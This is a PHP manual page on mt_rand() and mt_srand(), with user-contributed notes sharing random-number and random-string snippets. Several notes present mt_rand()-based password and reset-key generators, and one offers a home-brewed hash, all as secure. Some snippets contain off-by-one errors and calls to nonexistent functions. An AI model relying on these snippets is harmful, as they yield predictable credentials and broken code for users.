Here is a simple way to get UNIQUE random numbers, because if you are wanting random numbers, say, between 1 and 10, then you will get duplicates very often, so this function takes care of that.  However, for a very large amount of numbers, this could be very slow.  I use this to generate random pictures on a webpage so that I don't get the same picture twice, but it only picks from about 50 pictures.

// **************************************************
// generate UNIQUE random numbers between min and max
// uses the updated mt_rand() php function
// 'min' = minimum random number
// 'max' = maximum random number
// 'count' = how many numbers in the array
// returns array with random numbers
// error msg if count is greater than max
// **************************************************
function generateUniqueRandoms($min, $max, $count)  {
    if($count > $max)  {  // this prevents an infinite loop
        echo "ERROR: The array count is greater than the random number maximum.<br>\n";
        echo "Therefore, it is impossible to build an array of unique random numbers.<br>\n";
        break;
    }
    $numArray = array();
    for($i = 0; $i < $count; $i++)  {
        $numArray[$i] = mt_rand($min,$max);         // set random number
        for($j = 0; $j < $count; $j++)                 // for each number, check for duplicates
          if($j != $i)                                 // except for the one you are checking of course
            if($numArray[$i] == $numArray[$j]) {
                $numArray[$i] = mt_rand(1,10);         // if duplicate, generate new random
                $j = 0;                                // go back through and check new number
            }
    }
    return $numArray;
} // end generateUniqueRandoms() ----------------------
// ****************************************************
Jonathon 17-Apr-2008 01:14
Below, andrei suggested a function for generating a list of unique integers, randomly arranged.  In response to a note below that his solution is inefficient, I'm providing an O(N) solution which should be much more efficient, yet still yield a good guarantee of producing randomly ordered integers.

<?php
function SwapShuffle($min, $max) {
  $last = $max - $min;

  for ($i=0; $i<=$last; $i++) {
    $arr[$i] = $min + $i;
  }

  for ($run=0; $run<7; $run++) {
    for ($i=0; $i<=$last; $i++) {
      $target = mt_rand(0, $last);
      $swap = $arr[$target];
      $arr[$target] = $arr[$i];
      $arr[$i] = $swap;
    }
  }

  return $arr;
}

// Call as:
$result = SwapShuffle(10, 30);
foreach ($result as $num) {
  echo "$num\n";
}
?>
geompse at yopmail dot com 29-Mar-2008 04:01
mt_rand() is not faster than rand() !

Tested over 100'000 iterations, with none/various/random arguments, mt_rand is always 3% slower than rand().
guilhem at dublin dot ie 25-Mar-2008 01:09
I'm sorry to say, "andrei at novanetworks dot ro"'s method seems higly unefficient to me. It's good if called few times only, but when most of the numbers have already been used, the function has to loop many times before finding an available option.

When I know I need to call most of the numbers from a range, I create a list of the numbers in the range, get a random index from this list, then return and delete the item of the list at the picked index. More memory usage if called many times, but probably less computation time on average.
andrei at novanetworks dot ro 22-Mar-2008 11:04
Here's a simple function i've made for generateing unique random numbers. Be carefull, the function will go into an infinite loop if you request more unique numbers then the given range (ex. if you call unic(1, 5) five times it's ok, but the 6'th time it will go into an infinite loop).

$unic_arr = array(); //the array in witch the used numbers are stored.

function unic($min, $max) {
global $unic_arr;
    $rand = mt_rand($min, $max);
    $tf = 1;
    while(true) {
        if(!in_array($rand, $unic_arr)) {
            $tf = 0;
            break;
        }
        else $rand = mt_rand($min, $max);
    }
    array_push($unic_arr, $rand);
    return $rand;
}

//to call the function use:

unic($min, $max); //ex. unic(1000, 9999);
William Leslie 13-Feb-2008 09:24
Do not rely on the strength of any 'home-brewed' cryptographic algorithm, such as the one posted by dmoree at coker dot edu.  Algorithms such as MD5 and SHA-1 have been the subject of intense academic research and have known security properties.

While it is true that MD5 and SHA-1 are generally no longer recommended for use in new cryptosystems, there are newer algorithms such as SHA-256 that address the older algorithms' weaknesses.  These newer algorithms have not received quite as much scrutiny as their older counterparts, but have still been studied much more carefully than your home-brewed algorithm, most likely.

Dmoree at coker dot edu's concern about rainbow tables is best addressed by a properly applied salting technique.  Every bit of 'salt' added to a cryptographic hash effectively extends the complexity of the password and thus the size of the rainbow table needed to crack it.

Furthermore, wisely chosen password strength policies can mitigate such attacks.
dmoree at coker dot edu 29-Jan-2008 07:49
Here is a simple encryption algorithm I made a few months ago. I was tired of MD5 because they have rainbow tables out that will crack most any MD5 pass. Along with SHA. So encryption algorithms are getting weaker all the time. So here is new one for people to try and crack. So far no one has told me they cracked it. I also use it to generate very random passwords or character segments. Below the function is the random string generator. I tested this algorithm with mt_rand over 10 million iterations without one duplicate string. So use it in good health!

<?php
// Hexi-decimal encryption function
// Returns: 64 character encrypted string
// NOTE: One-Way encryption only
function HexCrypt($string = "", $salt = ""){
    if(strlen(trim($string)) == 0){
        $string = " ";
    }
    if(strlen(trim($salt)) == 0){
        $salt = " ";
    }
    $string = $salt.$string.$salt;
    $lastchar = "";
    $output = "";
    $saltlength = "0x".dechex(strlen($salt));

    while(strlen($output) < 64){
        $firstchar = "0x".dechex(ord(substr($string, strlen($salt), 1)));
        for($i = 0; $i < strlen($string); $i++){
            $strlength = "0x".dechex($output+$i+3);
            if(strlen($output) >= 64){
                break(2);
            }elseif($lastchar == ""){
                $lastchar = "0x".dechex(ord(substr($string, $i, 1)));
            }else{
                $current = "0x".dechex(ord(substr($string, $i, 1)));
                $total = ($lastchar * $current) * ($firstchar * $saltlength);
                $output .= dechex($total);
                $lastchar = "";
            }
        }

        if((strlen($string)%2) == 1){
            $total = ($lastchar * $firstchar) * ($firstchar * $saltlength);
            $output .= dechex($total);
        }

        $string = $output;
        $output = "";
    }

    if(strlen($output) != 0){
        $output = substr($output, 0, 64);
    }else{
        $output = substr($string, 0, 64);
    }

    return($output);
}

// Generates an 8 character random string
$length = 8;
$string = "";

for($i = 0; $i < 32; $i++){
    $string .= mt_rand(0,9);
}

$start = mt_rand(0, (64-$length));
$salt = substr($string, mt_rand(0,20), 12);
echo "Random String: ".substr(HexCrypt($string, $salt), $start, $length)."\n";
?>
przemek at sobstel dot org 16-Jan-2008 11:00
note that OWASP's "Guide to Cryptography" says that a Mersenne Twister (that is used by mt_rand()) "is nowhere near as good as CryptoAPI’s secure random number generation options, OpenSSL, or /dev/urandom which is available on many Unix variants. mt_rand() has been noted to produce the same number on some platforms."

remember that rand() is even weaker.
jfkallen at hotmail dot com 24-Dec-2007 03:37
mt_rand does not seem to truly generate random numbers.  Im not sure exactly which of the following is more accurate as I was applying the following to sock price deviations which do not follow normal distributions (exactly at least).

If you group observations in 11 buckets such that each bucket represents 10 percentiles and run mt_rand(0,10) 100 times you would expect a simlar result as if you ran 100 iterations of mt_rand(0,100) where each bucket represents 1 1 percentile range.

FYI I think things work slightly better as the range of mt_rand increases.
#$data is a numerical (not associative) array of numbers

sort($data);
$data_size = count($data);
#num_groups is the number of buckets
$num_groups = min($num_groups,$data_size);
$ile_size = $data_size / $num_groups;

//following creates the buckets
$groups[] = $data[0];
for ($i=1;$i<$num_groups;$i++){
  $x = $i * $ile_size;
  $i1 = floor($x);
  $i2 = ceil($x);
  $d1 = $data[$i1];
  $d2 = $data[$i2];
  $var = 1 - ($x-$i1);
  $groups[] = ($d1 * $var) + ($d2 * (1-$var));
}
$groups[] = $data[$data_size-1];

//RUN The Random number generator

$value = array();
for ($j=0;$j<$depth;$j++){
 $t = mt_rand($lower_limit,$upper_limit);
 $value[] = $this->m_groups[$t];
}

//The end result is that as the number of groupas increase the accuracy (ie turue randomness seems to increase proportionally more (up to point).  This is not the way it should work in nature.
root at mantoru dot de 25-Nov-2007 06:47
I needed a function that returns true with a probability of n%, so here's what I came up with:

<?php
function probability($chance, $out_of = 100) {
    $random = mt_rand(1, $out_of);
    return $random <= $chance;
}
?>

A few usage examples:

<?php
/* 50% chance, equal to (bool)mt_rand(0, 1) */
var_dump(probability(50));
/* 0.1% chance, floats will not work -- "1 out of 1000 cases" */
var_dump(probability(1, 1000));
/* Practical example */
if (probability(10)) {
    $damage *= 1.75; // Critical hit!
}
?>
fabiovh on gmail 13-Nov-2007 06:42
performance: for a repetitive task, it's much faster not to use the limit parameters, as shown below. just use the % operator.

$t=microtime(true);
for($i=0;$i<1000000;$i++)
 mt_rand()%3;
echo microtime(true)-$t;

echo '|';

$t=microtime(true);
for($i=0;$i<1000000;$i++)
 mt_rand(0,2);
echo microtime(true)-$t;

echo '|';

$t=microtime(true);
for($i=0;$i<1000000;$i++)
 mt_rand();
echo microtime(true)-$t;

output: 0.316797971725|0.442242145538|0.253082036972
bradpeabody at scientology dot net 03-Oct-2007 02:49
[Editorial note: This suggested "security" improvement simply punts the issue to the operating system: there is no guarantee that the operating system will work any better than the Mersenne twister (although it may have more entropy available)]

If you want some random text that is more secure than what can get from a built in PHP method, you can simply do:

<?php
$myRandomText = shell_exec('head -c 128 < /dev/urandom');
?>

That will get around the fact that rand() and mt_rand() are a bad place to start generating something that is supposed to be cryptographically secure.

The only down sides to this that I see are:
a) Ugly
b) Slow (have to launch external processes)
c) Not portable (can't do this on Windows)

But if you can live with that, this will be much more secure than using rand() or mt_rand().

- Brad
www.mrnaz.com 24-Jul-2007 10:00
This function uses mt_rand() to create a random string of specified length from an optionally supplied string of characters. It is good for generating passwords that only consist of alphanumeric characters or codes that must consist of a defined character space such as for barcodes. It can also be used to generate random hexadecimal numbers for things like encryption keys.

It is very fast, and allows for generation of strings of unlimited length.

<?php
function rand_string($len, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
{
    $string = '';
    for ($i = 0; $i < $len; $i++)
    {
        $pos = rand(0, strlen($chars)-1);
        $string .= $chars{$pos};
    }
    return $string;
}
?>
rok dot kralj at gmail dot com 16-Jun-2007 12:42
mt_rand function returns just a whole numbers. If you want a random float, then here's an elegant way:

<?php
function random_float ($min,$max) {
   return ($min+lcg_value()*(abs($max-$min)));
}
?>
Paul Nolasco 09-May-2007 12:45
Here's a more user friendly password generator. You want to make it easier for the user to enter the new password.

Output:
- First character is capitalize
- Rest of the characters are either number or letters (lowercase)

You can change the probability depending on your taste. Also by default it generates a 8-character long password.

<?php
function genPassword($length=8)
{
    # first character is capitalize
    $pass =  chr(mt_rand(65,90));    // A-Z

    # rest are either 0-9 or a-z
    for($k=0; $k < $length - 1; $k++)
    {
        $probab = mt_rand(1,10);

        if($probab <= 8)   // a-z probability is 80%
            $pass .= chr(mt_rand(97,122));
        else            // 0-9 probability is 20%
            $pass .= chr(mt_rand(48, 57));
    }
    return $pass;
}
?>
Jonathan at jooped dot co dot uk 05-May-2007 08:04
An easier password generator than earlsinclair2001.

function easyPassGen($length=10){
$enc = sh1(mt_rand().mt_rand().mt_rand());
$password = sub_str($enc, 1, $length);
return $password;
}

Might help someone (pretty simple though).
earlsinclair2001 at yahoo dot com 11-Apr-2007 10:46
Here's my shot at writing a secure password generator function:

<?php

function passwordgenerator()
{
    $password = "";
    $loop = 0;
    while ($loop < 12)
    {
        $randomchar = chr(mt_rand(35, 126));
        if (!strstr($password, $randomchar))
        {
            $password .= $randomchar;
            $loop++;
        }
    }
    return $password;
}
chagenbu at php dot net 21-Mar-2007 09:18
The algorithm used by mt_rand() changed in PHP 5.2.1. If you are relying on getting the same sequence from mt_rand() after calling mt_srand() with a known seed, upgrading to PHP 5.2.1 will break your code. See http://bugs.php.net/bug.php?id=40724 for something of an explanation; there is no workaround.
12-Mar-2007 12:36
In one of my forums was a discussion about, how to change an image randomly, so i wrote this code using mt_rand ....

I hope you can use it ....

I Forgot something, sorry for that, but here is the correction.

<?php
  //ImageChange.php

  error_reporting(0);//hide the notice for the missing $iRand

  $sPath2ImageDir = Path;//preventing redundancy
  $aImages        = scandir($sBildOrdnerPfad);//Dir 2 Array
  $iImageCount    = count($aImages);//preventing redundancy

  while (getimagesize("{sPath2ImageDir}/{$aImages[$iRand]}")) {//recursion to get an image
   $iRand = mt_rand(2, $iImageCount-1);//min = 2 because $aImages[0] = "." and $aImages[1] = ".."
  }

  echo "<img alt=\"Image{$iRand}\" src=\"{sPath2ImageDir}/{$aImages[$iRand]}\" title=\"Image{$iRand}\" />";//show the image

  unset($aImages, $iImageCount, $iRand, $sBildOrdnerPfad);//if this script is used in another script
?>
Rene at mokiba dot de 10-Mar-2007 02:00
Here is my Function to generate an Array with unique random Numbers between "$from" and "$to".

<?php
function random_number_array($count, $from, $to){
   for($i=$from;$i<$to;$i++){
   $number_array[] = $i;
   }
   $random_number_array = array();
   mt_srand ((double) microtime() * 1000000);
   for($i=0;$i<$count;$i++){
     $random_number            = mt_rand(0,count($number_array)-1);
     $key_to_insert_and_delete = array_search($random_number, $number_array);
     $random_number_array[$i]    = $number_array[$key_to_insert_and_delete];
     array_splice($number_array, $key_to_insert_and_delete, 1);
   }
   // Array $random_number_array with $count random Numbers, between $from and $to
   return $random_number_array;
}
?>

I hope its helping you.

Greetings

Rene Andris
Rene at mokiba dot de 10-Mar-2007 11:50
Here is my Function to generate an Array with unique random Numbers between "$from" and "$to".

function random_number_array($count, $from, $to){
   for($i=$from;$i<$to;$i++){
    $number_array[] = $i;
   }
   $random_number_array = array();
   mt_srand ((double) microtime() * 1000000);
   for($i=0;$i<$count;$i++){
      $random_number            = mt_rand(0,count($number_array)-1);
      $key_to_insert_and_delete = array_search($random_number, $number_array);
      $random_number_array[$i]    = $number_array[$key_to_insert_and_delete];
      array_splice($number_array, $key_to_insert_and_delete, 1);
   }
   // Array $random_number_array with $count random Numbers, between $from and $to
   return $random_number_array;
}

I hope its helping you.

Greetings

Rene Andris
heavyraptor 14-Feb-2007 03:26
since my mt_rand_n() function isn't too fast I created a faster and easier function:

<?php
function mt_rand_exclusive($min,$max,$ex) {
  while (true) {
    if (!in_array($rand = mt_rand($min,$max),(array)$ex))
      return $rand;
  }
}
?>

Have fun
zolaar at nothanks dot com 07-Feb-2007 10:44
a better (and likely faster) way to generate a random 6-digit hex string:

<?php
$num = mt_rand ( 0, 0xffffff ); // trust the library, love the library...
$output = sprintf ( "%06x" , $num ); // muchas smoochas to you, PHP!
return $output;
?>

The mt_rand function won't give you a number outside the bounds you asked for -- no need to and-off the top bits -- and the sprintf function has params for length-padding & hexidecimal output.  It's likely faster because most of the work is being done by the wicked fast C functions that PHP sits on top of, though YMMV in that dept.
heavyraptor 12-Dec-2006 09:47
If you need a random number but not the numbers in a specified array, you may use my function below:

<?php
function mt_rand_n($min,$max,$disallowed) {
  // $a must be an array
  if (!is_array($disallowed))
    return false;

  // Create an array with the numbers from $min to $max
  // without the numbers in $disallowed.
  // - range() to create an array with the numbers from $min to $max
  // - array_diff() to create the allowed numbers
  // - since array_diff() doesn't change the keys, we've to change them with
  //   array_values(), to get an normal order (0,1,2,3 ... )
  $numbers = array_values(array_diff(range($min,$max),$disallowed));

  // size of $numbers must be greater than 0
  if (count($numbers) < 1)
    return false;

  // create random number and return it
  return $numbers[mt_rand(0,count($numbers) - 1)];
}

// Example:
$min = 0;
$max = 10;
$disallowed = array(0,1,2,3,4,9,10); // the numbers 1,2,3,6,7, and 8 are disallowed

for ($i = 0; $i < 100; $i++)
  var_dump(mt_rand_n($min,$max,$disallowed));
?>

I hope it helps someone ...
Btw. here's the "un-comment" function:
<?php
function mt_rand_n($min,$max,$disallowed) {
  if (!is_array($disallowed)) return false;
  $numbers = array_values(array_diff(range($min,$max),$disallowed));
  if (count($numbers) < 1) return false;
  return $numbers[mt_rand(0,count($numbers) - 1)];
}
?>

Have fun :)
MagicalTux at ooKoo dot org 20-Nov-2006 07:34
In answer to David and pHp_n00b, about generating a random 6 characters hexadecimal string...

Well, the easiest solution would be :
<?php
$rand = mt_rand(0x000000, 0xffffff); // generate a random number between 0 and 0xffffff
$rand = dechex($rand & 0xffffff); // make sure we're not over 0xffffff, which shouldn't happen anyway
$rand = str_pad($rand, 6, '0', STR_PAD_LEFT); // add zeroes in front of the generated string
echo $rand;
?>

Some examples of generated stuff :
8514d2
3188ae
028f3e
444397
1de508
071662

You can easily make a function from this code.
Chris 10-Nov-2006 11:35
>Running the output of Mersenne Twister through an unkeyed >secure hash is NOT a good way to make it secure, because it'll >still have a relatively small internal state which, if recovered, >would allow reproduction of the keystream.  A better idea >would be to encrypt the output with a keyed encryption >algorithm - but if you were going to do that, you wouldn't >need a psuedorandom number generator at all, because a >counter would be just as good.

Not true. Mersenne Twister has an ENORMOUS amount of internal state - 4992 bits, bigger than practically any cipher's key length. The point of a secure random number generator is that you cannot predict future outputs based on past OUTPUTS, which is why a hash is applied. Clearly you can predict the future output of any pseudorandom number generator if you can acquire the internal state - a better algorithm will never solve this problem. If you use keyed encryption, recovering the key allows you to predict future outputs.
David 06-Nov-2006 12:40
Shouldn't it be a greater than (>) sign rather than a not equal (!=) sign? Because you're just checking to see if it is exactly six. So if it is 7 it, won't try to fix it. So wouldn't this be better?
<?
//....
if (strlen($random_hex) < "6") // sometimes it returns an only 5, or less, char Hex-Code,
   hexcode();        // so the function has to be repeat
elseif (strlen($random_hex) > "6") // sometimes it returns 7 or more characters
//...I don't know how to make it do only six, but your code seems to only check to make sure it doesn't do less than 6; nothing to counter doing more than 6.... so here would be some code to reduce the size back to 6 if it went over.
else
   echo $random_hex; // returns the Hex-Code
}
//...
?>
pHp_n00b 26-Sep-2006 07:00
<?php

// Generates a max."6 char" Hex-Code

function hexcode()
{

$min = hexdec("000000"); // result is 0    and sets the min-value for mt_rand
$max = hexdec("FFFFFF"); // result is 16777215 and sets the max-value for mt_rand

$random = mt_rand($min, $max); // creates a radom number between 0 and 16777215

$random_hex = dechex($random); // transforms the random number into a Hex-Code

// now the test, if the result has 6 chars

if (strlen($random_hex) != "6") // sometimes it returns an only 5, or less, char Hex-Code,
    hexcode();        // so the function has to be repeat
else
    echo $random_hex; // returns the Hex-Code
}

hexcode();

?>
MagicalTux at ooKoo dot org 25-Aug-2006 05:44
Since many people wrote little scripts to generate random sequences, I'll also give mine (which is slightly faster since it makes use of strlen only once, and uses strings instead of arrays) :

<?php
function code($nc, $a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') {
    $l=strlen($a)-1; $r='';
    while($nc-->0) $r.=$a{mt_rand(0,$l)};
    return $r;
}
?>
arias at elleondeoro dot com 29-May-2006 02:03
Be carefull with: $characters[mt_rand(0, count($characters))];

"If you want a random number between 5 and 15 (inclusive), for example, use mt_rand (5, 15)."

Array index are between 0 and n-1, but mt_rand generates a number between 0 and n!
James 15-Apr-2006 11:02
The Developers Resources article mentioned above should be removed as that site has be down for years. The same article by Gregory Boshoff is available at http://www.phpfive.net/article2.htm
rollerce at gmail dot com 15-Feb-2006 05:38
I know a bunch of you have posted little snippets for random number generation, but here's a nifty (in my opinion) little thing I just wrote to create a 10 digit code with hyphens in it. It also negates the use of 0, O, 1, and I, to avoid confusion. I am ALWAYS willing to accept input so if any of you has suggestions to streamline the code, please let me know.

<?php
      function GetID($x){

         $characters = array("A", "B", "C", "D", "E", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "2", "3", "4", "5", "6", "7", "8", "9");
         shuffle($characters);

         for (; strlen($ReqID)<$x;){
           $ReqID .= $characters[mt_rand(0, count($characters))];
          }

         return $ReqID;

        }

       $ReqID .= GetID(3);
       $ReqID .= "-";
       $ReqID .= GetID(4);
       $ReqID .= "-";
       $ReqID .= GetID(3);

       echo $ReqID

?>
ripat at lumadis dot be 07-Nov-2005 08:38
Yet another snippet to generate a password.
<?php
  $acceptedChars = 'azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN0123456789';
  $max = strlen($acceptedChars)-1;
  $password = null;
  for($i=0; $i < 8; $i++) {
    $password .= $acceptedChars{mt_rand(0, $max)};
  }
  echo $password;
?>
I have tried several ways of doing it but this simple one seems to be the fastest.
fahri at konse dot de 08-Oct-2005 09:12
i did the following, to generate a few random-numbers out of a total amount of numbers, but to create different random-numbers and not double or tripple.
for example i use it to generate 10 random-pics out of 150, and do shurely generate not twice the same...

<?php
$total =  6; // available numbers (of pictures)
$randanzahl = 6; //number of random-number to generate out of $total

function checkifdouble($ran,$i) {
        for($j=1; $j<$i; $j++) {
                if($ran[$j]==$ran[$i]) {
                        $ergebnis="true";
                        break;
                } //endif
                else {
                        $ergebnis="false";
                } //endelse
        } //endfor
return $ergebnis;
}

for ($i=1; $i<=$randanzahl; $i++) {
       $ran[$i] = mt_rand(1, $total);
       if ($i>1) {
               while(checkifdouble($ran,$i)=="true") {
                       $ran[$i] = mt_rand(1, $total);
                       $v=checkifdouble($ran,$i);
                       echo($v);
               } //endif
       }
       echo($ran[$i]."<br>");

} //enfor
?>

this version is easily for debugging and adaption!
maybe there is a very shorter version...
phil [underscore] ozil at hotmail dot com 07-Oct-2005 06:13
Quit bothering yourselves.
All it takes to create a secure random-generated password is those three lines:

<?php
$pass = "";
// Generate a 8 char password
for ($i=0; $i<8; $i++)
  $pass .= chr(mt_rand(35, 126));
?>

Note:
In this example, the character's ASCII values range from 35 to 126.

For character's ASCII codes please check:
http://www.keller.com/html-quickref/latin1.html
frans-jan at van-steenbeek dot net 03-Oct-2005 07:18
My try at generating a reasonably secure password:

<?php
 function keygen() {
  $tempstring =
  "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
  PQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABC
  DEFGHIJKLMNOPQRSTUVWXYZ!?@#$%&*[]{}();:,<>~+=-_
  /|\\";
  for($length = 0; $length < mt_rand(10, 15); $length++) {
   $temp = str_shuffle($tempstring);
   $char = mt_rand(0, strlen($temp));
   $pass .= $temp[$char];
  }
  return $pass;
 }
 echo(keygen());
 echo("\n");
?>

This generates a password of an undefined length (in this case, 10 to 15 chars) consisting of numbers, UPPERCASE letters lowercase letters and a set of signs. I have doubled the chance of number and letters to reduce the confusion with my users.
sean at codeaholics dot com 22-Jul-2005 06:31
You really shouldn't generate a number to determine the _type_ of the char, then the char itself.  If security is an issue for you, and you want to maintain as much entropy as possible, you should use a function similar to the one below.  Since this seems to be getting repeated over-and-over, I explained (beat into the ground?) the issue on http://www.codeaholics.com/randomCode.php

The code:
<?php
////
// Returns a random code of the specified length, containing characters that are
// equally likely to be any of the digits, uppercase letters, or  lowercase letters.
//
// The default length of 10 provides 839299365868340224 (62^10) possible codes.
//
// NOTE: Do not call wt_srand().  It is handled automatically in PHP 4.2.0 and above
//       and any additional calls are likely to DECREASE the randomness.
////
function randomCode($length=10){
    $retVal = "";
    while(strlen($retVal) < $length){
        $nextChar = mt_rand(0, 61); // 10 digits + 26 uppercase + 26 lowercase = 62 chars
        if(($nextChar >=10) && ($nextChar < 36)){ // uppercase letters
            $nextChar -= 10; // bases the number at 0 instead of 10
            $nextChar = chr($nextChar + 65); // ord('A') == 65
        } else if($nextChar >= 36){ // lowercase letters
            $nextChar -= 36; // bases the number at 0 instead of 36
            $nextChar = chr($nextChar + 97); // ord('a') == 97
        } else { // 0-9
            $nextChar = chr($nextChar + 48); // ord('0') == 48
        }
        $retVal .= $nextChar;
    }
    return $retVal;
}
?>
mina86 at nospam dot projektcode dot org 24-May-2005 05:00
Re: solenoid at hotmail dot united dot kingdom

In theory method shown by selenoid can lead to infinite loop. The correct method would be:

<?php
$randomNumbers = array();
for ($i = 0; i<30; ++$i) $randomNumbers[] = $i;
shuffle($randomNumbers);
for ($i = 20; $i<30; ++$i) unset($randomNumbers[$i]);
$randomNumbers = array_values($randomNumbers);
?>

The last two lines may be in some cases removed.
nowhere at where dot net 16-Apr-2005 02:46
Allows characters 0-9, a-z
Weighted (and tested) ok.

<?php
function generate_string ($length = 20)
{
    $nps = "";
    for($i=0;$i<$length;$i++)
    {
        $nps .= chr( (mt_rand(1, 36) <= 26) ? mt_rand(97, 122) : mt_rand(48, 57 ));
    }
    return $nps;
}
?>
mskala at ansuz dot sooke dot bc dot ca 23-Jan-2005 03:47
Running the output of Mersenne Twister through an unkeyed secure hash is NOT a good way to make it secure, because it'll still have a relatively small internal state which, if recovered, would allow reproduction of the keystream.  A better idea would be to encrypt the output with a keyed encryption algorithm - but if you were going to do that, you wouldn't need a psuedorandom number generator at all, because a counter would be just as good.
timr at onlinehome dot de 12-Aug-2004 04:24
The correct address of the inventor's FAQ is (http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/efaq.html). They state that Mersenne Twister may be used for cryptography if you do some post-processing:

"Mersenne Twister is not cryptographically secure. (MT is based on a linear recursion. Any pseudorandom number sequence generated by a linear recursion is insecure, since from sufficiently long subsequence of the outputs, one can predict the rest of the outputs.)

To make it secure, you need to use some Secure Hashing Algorithm with MT. For example, you may gather every eight words of outputs, and compress them into one word (thus the length of the output sequence is 1/8 of the original one)."
11-Feb-2004 05:27
Here is a example of a very small, compact, quite random-random string generator. It will make a string with uppercase & lowercase letters, with numbers. You simply need to set $len in the for() structure, and then the string will be in $r.  It has been designed for size, while it's still quite fast.  Mind the wrapping, it should be 1 line.

<?php
for($len=8,$r='';strlen($r)<$len;$r.=chr(!mt_rand(0,2)?
mt_rand(48,57):(!mt_rand(0,1)?mt_rand(65,90):mt_rand
(97,122))));
?>

Armond Carroll
tmx at ntlworld dot com 06-Dec-2003 01:26
When using this function, it doesn't matter which order the numbers go in.

      mt_rand(16,5)

works just as well as

      mt_rand(5,16)

Which can be useful if you are pulling values from a database, that could be negative or positive.

      mtrand(0,$anyinteger)

Hope this helps someone
daeken_9999 at yahoo dot com 08-Jul-2003 02:44
This is a fixed version of the gaussrand() function defined in a note above.

<?php
function gaussrand()
{
    static $V2, $V1, $S;
    static $phase = 0;
    if (phase == 0)
    {
        while ($S >= 1 || $S == 0)
        {
            $V1 = 2 * (rand() / getrandmax()) - 1;
            $V2 = 2 * (rand() / getrandmax()) - 1;
            $S = $V1 * $V1 + $V2 * $V2;
        }
        $X = $V1 * sqrt(-2 * log($S) / $S);
    }
    else
        $X = $V2 * sqrt(-2 * log($S) / $S);
    $phase = 1 - $phase;
    return $X;
}
?>
jsheets at shadonet dot com 04-Jun-2003 01:49
The following function will create a random base64 encoded key, this is very useful for password reset schemes or anything where you want a random string.  To compare the string either compare the base64 encoded value or base64_decode it and compare that.

I do not use md5 because md5 results in only 1-9 and a-f in the string or 32^16 possibilities, by using the extended ASCII table and shuffling the array I am able to get a minimum of 32^127 possibilities with a 32 character string, using a longer string will make your value harder to guess still. A lot of machiens will have 32^255 possibilities in a decoded string.

<?php
function MakeResetKey($min_length = 32, $max_length = 64)
{
   $key = '';

   // build range and shuffle range using ASCII table
   for ($i=0; $i<=255; $i++) {
      $range[] = chr($i);
   }

   // shuffle our range 3 times
   for ($i=0; $i<=3; $i++) {
      shuffle($range);
   }

      // loop for random number generation
   for ($i = 0; $i < mt_rand($min_length, $max_length); $i++) {
      $key .= $range[mt_rand(0, count($range))];
   }

   $return = base64_encode($key);

   if (!empty($return)) {
      return $return;
   } else {
      return 0;
   }
}
?>
demogracia at metropoliglobal dot com 02-Mar-2002 12:38
<?php
//
// Generates a random string with the specified length
// Chars are chosen from the provided [optional] list
//
function simpleRandString($length=16, $list="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"){
    mt_srand((double)microtime()*1000000);
    $newstring="";

    if($length>0){
        while(strlen($newstring)<$length){
            $newstring.=$list[mt_rand(0, strlen($list)-1)];
        }
    }
    return $newstring;
}

//
// Generates a random string with the specified length
// Includes: a-z, A-Z y 0-9
//
function randString($length=16) {
   $newstring="";
   if($length>0) {
       while(strlen($newstring)<$length) {
           $randnum = mt_rand(0,61);
           if ($randnum < 10) {
               $newstring.=chr($randnum+48);
           } elseif ($randnum < 36) {
               $newstring.=chr($randnum+55);
           } else {
               $newstring.=chr($randnum+61);
           }
       }
   }
   return $newstring;
}
?>
amcclung at stetson dot edu 18-Apr-2001 01:27
Here's an elegant way of generating a random float value within a certain range:

<?php
$range = $upperBound-$lowerBound;
$num = $lowerBound + $range * mt_rand(0, 32767)/32767;
?>

You should now have a floating point number between your $lowerBound (i.e. 0.5) and $upperBound (0.75) values.
mrdlinux at yahoo dot com 20-Jul-2000 10:02
And for those who prefer scaling:

mt_rand() / RAND_MAX * (Max - Min) + Min;
mt_getrandmax
mt_srand
Math Functions


Seed the better random number generator

mt_rand
octdec
Math Functions
PHP Manual

mt_srand

(PHP 4, PHP 5)

mt_srand — Seed the better random number generator

Description

void mt_srand ([ int $seed ] )

Seeds the random number generator with seed or with a random value if no seed is given.

Note: As of PHP 4.2.0, there is no need to seed the random number generator with srand() or mt_srand() as this is now done automatically.

Parameters

seed

An optional seed value

Return Values

No value is returned.

Changelog

Version | Description
Since 4.2.0 | The seed becomes optional and defaults to a random value if omitted.
Since 5.2.1 | The Mersenne Twister implementation in PHP now uses a new seeding algorithm by Richard Wagner. Identical seeds no longer produce the same sequence of values they did in previous versions. This behavior is not expected to change again, but it is considered unsafe to rely upon it nonetheless.

Examples

Example #1 mt_srand() example

<?php
// seed with microseconds
function make_seed()
{
  list($usec, $sec) = explode(' ', microtime());
  return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?>

See Also

  • mt_rand() - Generate a better random value
  • mt_getrandmax() - Show largest possible random value
  • srand() - Seed the random number generator

User Contributed Notes

josh at joshstrike dot com 25-Oct-2011 06:29
mt_srand effectively performs a modulo % 2147483648 on positive integers over 32 bits, but with negative integers it instead adds 2147483648 to the value it gets.

Seeds with equal results:
2147483649 == 1
2147483648 == 0
2147483647 == -1
-2147483646 == 2
-2147483647 == 1
-2147483648 == 0

Importantly though, seeding with anything less than -2147483648 will always yield the same result as seeding with zero.
limo at anime42 dot com 14-Apr-2010 07:33
I have spent the last couple of hours trying to track down a bug which affects mt_rand/rand and mt_srand/mt_rand.

OS is Debian 5.0.4 "Lenny".
PHP version is 5.3.2-0.dotdeb.1 with Suhosin-Patch (cli) (built: Mar  9 2010 11:42:01).

I have tried to fix the issue by appending the following lines into the .htaccess / apache2 main config file:

        php_value suhosin.mt_srand.ignore Off
        php_value suhosin.srand.ignore Off

This has helped a bit, stabilizing the beggining of the pseudo random number sequence, but the generator still fails after a fair number of iterations (roughly around 1K~3K.

*** Removing the Suhosin extension has resolved this issue, I am waiting for an official extension build that will work with 5.3.x so that I can reattach it into the php configuration. ***

